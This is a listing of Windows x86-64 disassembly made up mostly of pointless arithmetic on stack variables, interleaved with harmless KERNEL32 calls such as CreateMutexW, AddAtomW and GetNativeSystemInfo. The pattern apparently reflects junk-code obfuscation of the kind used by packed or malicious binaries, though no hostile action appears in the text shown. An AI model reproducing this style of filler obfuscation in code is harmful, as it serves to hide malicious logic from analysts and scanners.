mov rax, qword [rsp + 0x3e20]
mov ecx, dword [rsp + 0x202c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ec0], eax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x45f8], rax
movsx eax, word [rsp + 0xc84]
movsx ecx, word [0x14018be58]
add eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x43e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4470]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x45c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4060]
mov rcx, qword [rsp + 0x45d8]
mov qword [rsp + 0x4600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4600]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2d60], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4140]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x4608], rax
movsx eax, word [rsp + 0xcbc]
movsx ecx, word [rsp + 0xce8]
add eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
movzx eax, word [0x14018acf8]
movzx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov word [0x14018acfc], ax
mov rax, qword [rsp + 0x4360]
mov qword [rsp + 0x4610], rax
mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4350]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4028]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4268]
mov rax, qword [rax]
mov rcx, qword [0x14018ace8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x44a8]
mov qword [rcx], rax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x4618], rax
mov eax, dword [rsp + 0x2040]
mov rcx, qword [rsp + 0x3f48]
mov qword [rsp + 0x4620], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4620]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2048], eax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x4628], rax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0x3e48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x201c]
mov ecx, dword [rsp + 0x1e80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0x4630], rax
mov rax, qword [rsp + 0x45e0]
movzx eax, word [rax]
mov word [0x14018bf48], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf0]
sar eax, cl
mov word [rsp + 0xcf8], ax
movzx eax, word [0x14018acf8]
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x40b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4028]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4438]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x43d0]
mov qword [rcx], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x4638], rax
mov rax, qword [rsp + 0x4570]
mov rcx, qword [rsp + 0x43f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ff4], eax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x4640], rax
mov rax, qword [rsp + 0x4078]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4360]
sar rax, cl
mov qword [0x14018acf0], rax
movzx eax, word [rsp + 0xcb0]
movzx ecx, word [rsp + 0xcd4]
add eax, ecx
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0x2fc0]
mov qword [rsp + 0x4648], rax
mov rax, qword [rsp + 0x4130]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b28], eax
mov rax, qword [rsp + 0x4390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4310]
mov qword [rsp + 0x4650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4650]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4568], rax
mov rax, qword [rsp + 0x3e90]
movzx eax, byte [rax]
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x4478]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1de0], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x41a8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4088]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a50]
movzx eax, word [rax]
mov word [0x14018bf4c], ax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x4658], rax
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2020], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x4470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4460]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x4660], rax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x4668], rax
mov rax, qword [rsp + 0x44f0]
mov rcx, qword [rsp + 0x3e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x4440]
mov rcx, qword [rsp + 0x4258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4168]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16e], al
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xc84]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x40d8]
movzx eax, word [rax]
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x4610]
mov rcx, qword [rsp + 0x44d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x4670], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4670]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2fc0], rax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [rsp + 0x3ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3390]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x33f8], rax
movzx ecx, word [rsp + 0xc8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x41f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
xor eax, ecx
mov word [rsp + 0xcb0], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x4678], rax
mov rax, qword [rsp + 0x4478]
mov ecx, dword [rsp + 0x2060]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3e20]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x44b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4568]
mov qword [rsp + 0x4680], rax
mov eax, dword [rsp + 0x1b18]
mov rcx, qword [0x14018bde0]
mov qword [rsp + 0x4688], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4688]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14018ad0c], eax
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc88], ax
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x4448]
movzx eax, word [rax]
mov word [rsp + 0xd04], ax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [rsp + 0xcf0]
add eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
lea rax, [rsp + 0x45c0]
mov qword [rsp + 0x4690], rax
mov rax, qword [rsp + 0x3f60]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3ea8]
mov qword [rcx], rax
movsx eax, byte [0x14018acdb]
mov rcx, qword [rsp + 0x4050]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x3b80]
mov rcx, qword [rsp + 0x41c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c64], eax
movsx eax, word [0x14018be7c]
movsx ecx, word [rsp + 0xc68]
sar eax, cl
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x41c8]
movzx eax, word [rax]
mov word [0x14018bf50], ax
lea rax, [rsp + 0x37e8]
mov qword [rsp + 0x4698], rax
movzx eax, word [rsp + 0x694]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b4]
sub eax, ecx
mov rcx, qword [rsp + 0x4458]
mov byte [rcx], al
mov rax, qword [rsp + 0x40c8]
mov eax, dword [rax]
mov dword [rsp + 0x2064], eax
mov rax, qword [rsp + 0x3ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ff4], eax
lea rax, [rsp + 0x3d08]
mov qword [rsp + 0x46a0], rax
mov rax, qword [rsp + 0x3e48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x40e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4290]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [0x14018bf48]
or eax, ecx
mov word [rsp + 0xc58], ax
lea rax, [rsp + 0xcc4]
mov qword [0x14018bf58], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x46a8], rax
mov rax, qword [0x14018bf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f08]
mov qword [rsp + 0x46b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46b0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x46b8], rax
movsx eax, word [rsp + 0xcdc]
mov rcx, qword [rsp + 0x4398]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6b0], ax
mov rax, qword [rsp + 0x45a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce0]
sar eax, cl
mov rcx, qword [rsp + 0x45a8]
mov word [rcx], ax
lea rax, [0x14018acdb]
mov qword [rsp + 0x46c0], rax
mov rax, qword [rsp + 0x4450]
mov rcx, qword [rsp + 0x4568]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2048], eax
lea rax, [0x14018ace0]
mov qword [rsp + 0x46c8], rax
movsx eax, word [rsp + 0xce8]
mov rcx, qword [rsp + 0x4538]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018be58], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x46d0], rax
mov eax, dword [rsp + 0x202c]
mov ecx, dword [rsp + 0x1d40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x46a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4508]
mov qword [rcx], rax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x46d8], rax
mov eax, dword [rsp + 0x2050]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x46e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43d8]
mov qword [rsp + 0x46e8], rax
movsx eax, word [rsp + 0x554]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x40d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018ad10], ax
mov rax, qword [0x14018bf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ff8]
mov qword [rsp + 0x46f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x46f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
movzx eax, word [rsp + 0x3dc]
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x40b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
sub eax, ecx
mov word [rsp + 0x554], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3630], rax
mov rax, qword [rsp + 0x2fa8]
movzx ecx, al
mov rax, qword [rsp + 0x4060]
shr rax, cl
mov rcx, qword [rsp + 0x4408]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2034]
mov ecx, dword [rsp + 0x1ff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b18], eax
lea rax, [rsp + 0x69]
mov qword [rsp + 0x46f8], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x4030]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x618], ax
mov rax, qword [rsp + 0x4698]
mov rcx, qword [rsp + 0x4648]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018bed0]
mov qword [rcx], rax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x4700], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x44b0]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x44b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3b8]
mov word [rsp + 0xd0c], ax
movzx eax, word [0x14018bde8]
movzx ecx, word [rsp + 0xcf8]
add eax, ecx
mov rcx, qword [rsp + 0x4078]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b2]
mov rcx, qword [rsp + 0x4230]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ab], al
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x4708], rax
mov rax, qword [rsp + 0x3f60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018be48]
shl rax, cl
mov rcx, qword [rsp + 0x46a0]
mov qword [rcx], rax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x4710], rax
mov rax, qword [rsp + 0x3ff0]
movzx eax, word [rax]
mov word [0x14018bf60], ax
mov rax, qword [0x14018be40]
mov rcx, qword [rsp + 0x3f78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4648]
mov qword [rcx], rax
mov rax, qword [rsp + 0x44c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x45c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4560]
mov qword [rcx], rax
lea rax, [rsp + 0x4360]
mov qword [rsp + 0x4718], rax
mov rax, qword [rsp + 0x4538]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4188]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x4720], rax
mov rax, qword [rsp + 0x42e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x45b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x4310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4258], rax
mov eax, dword [rsp + 0x2064]
movzx ecx, al
mov eax, dword [rsp + 0x2060]
sar eax, cl
mov dword [rsp + 0x1f20], eax
movzx eax, byte [rsp + 0x1b4]
movzx ecx, byte [rsp + 0xe7]
imul eax, ecx
mov byte [rsp + 0x165], al
mov r9d, 0x377
xor r8d, r8d
lea rdx, [rsp + 0x46b8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2054], eax
mov rax, qword [rsp + 0x45e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov rcx, qword [0x14018be70]
mov word [rcx], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x4728], rax
mov rax, qword [rsp + 0x42a0]
movzx eax, word [rax]
mov rcx, qword [0x14018bf40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x4218]
mov rax, qword [rax]
mov qword [rsp + 0x4730], rax
mov rax, qword [rsp + 0x4310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x205c], eax
mov rax, qword [rsp + 0x4420]
mov eax, dword [rax]
mov ecx, dword [0x14018bdc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4230]
movzx eax, byte [rax]
mov byte [rsp + 0x1b7], al
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x4280]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf0]
add eax, ecx
mov word [rsp + 0x654], ax
lea rax, [rsp + 0x3de8]
mov qword [0x14018bf68], rax
mov rax, qword [rsp + 0x3d98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3ff0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4460]
mov word [rcx], ax
mov rax, qword [rsp + 0x45d0]
mov rcx, qword [rsp + 0x4120]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3880], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x4738], rax
mov eax, 0x38
imul rax, rax, 0
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0x4b54d013
mov rax, qword [rsp + 0x3320]
mov qword [rsp + 0x4740], rax
mov rax, qword [rsp + 0x4060]
mov rcx, qword [rsp + 0x4568]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4440], rax
mov eax, dword [rsp + 0x1f7c]
mov rcx, qword [0x14018bde0]
mov qword [rsp + 0x4748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4748]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1ec4], eax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x154]
sub eax, ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
mov eax, dword [rsp + 0x2044]
mov ecx, dword [rsp + 0x202c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2028], eax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x4750], rax
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b8]
add eax, ecx
mov rcx, qword [0x14018bdf0]
mov word [rcx], ax
mov rax, qword [0x14018be38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4148]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov word [rsp + 0xd10], ax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x4668]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x43f8]
mov dword [rcx], eax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x4758], rax
mov rax, qword [rsp + 0x3fe8]
mov rcx, qword [rsp + 0x41e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fe8]
mov qword [rcx], rax
lea rax, [0x14018be7c]
mov qword [rsp + 0x4760], rax
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xcb8]
xor eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x4768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4768]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0x4770], rax
mov rax, qword [rsp + 0x4428]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x45c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3880], rax
mov rax, qword [rsp + 0x2f10]
movzx ecx, al
mov rax, qword [rsp + 0x33f8]
sar rax, cl
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0x4778], rax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x1b6]
imul eax, ecx
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x4138]
mov rcx, qword [rsp + 0x4478]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c2c], eax
mov rax, qword [rsp + 0x46a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3358]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4160]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4328]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2048]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fd8], eax
lea rax, [0x14018acd9]
mov qword [0x14018bf70], rax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x4780], rax
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
and eax, ecx
mov word [rsp + 0xce8], ax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x4788], rax
mov rax, qword [rsp + 0x3f70]
mov rcx, qword [rsp + 0x3f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
mov eax, dword [rsp + 0x203c]
mov rcx, qword [rsp + 0x3eb0]
mov qword [rsp + 0x4790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4790]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4570]
mov dword [rcx], eax
lea rax, [0x14018acd9]
mov qword [rsp + 0x4798], rax
mov rax, qword [rsp + 0x43d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4060]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xd14], ax
lea rcx, str.FuIazaY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xd18], ax
lea rax, [rsp + 0x8b0]
mov qword [0x14018bf78], rax
mov rax, qword [0x14018bec0]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x44a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [rsp + 0xce0]
and eax, ecx
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x47a0], rax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x1ae]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x47a8], rax
mov rax, qword [rsp + 0x3e60]
mov rcx, qword [rsp + 0x4210]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4310]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0x4618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
shl eax, cl
mov word [rsp + 0xc64], ax
movzx eax, word [rsp + 0x544]
mov rcx, qword [rsp + 0x42a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3038]
sar rax, cl
mov rcx, qword [rsp + 0x4120]
mov qword [rcx], rax
lea rax, [rsp + 0x3630]
mov qword [rsp + 0x47b0], rax
mov rax, qword [rsp + 0x4430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x4500]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x558], ax
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov rcx, qword [rsp + 0x45b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4530]
mov rcx, qword [rsp + 0x4680]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x45d8]
mov qword [rcx], rax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x47b8], rax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x3080]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
mov rax, qword [0x14018beb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018bed8]
mov word [rcx], ax
movzx eax, word [rsp + 0xad4]
mov word [rsp + 0xd1c], ax
mov rax, qword [rsp + 0x4700]
movzx eax, byte [rax]
cdq
mov ecx, 0x1d
idiv ecx
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
mov rax, qword [rsp + 0x44b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2044]
sar eax, cl
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3428], rax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x4570]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
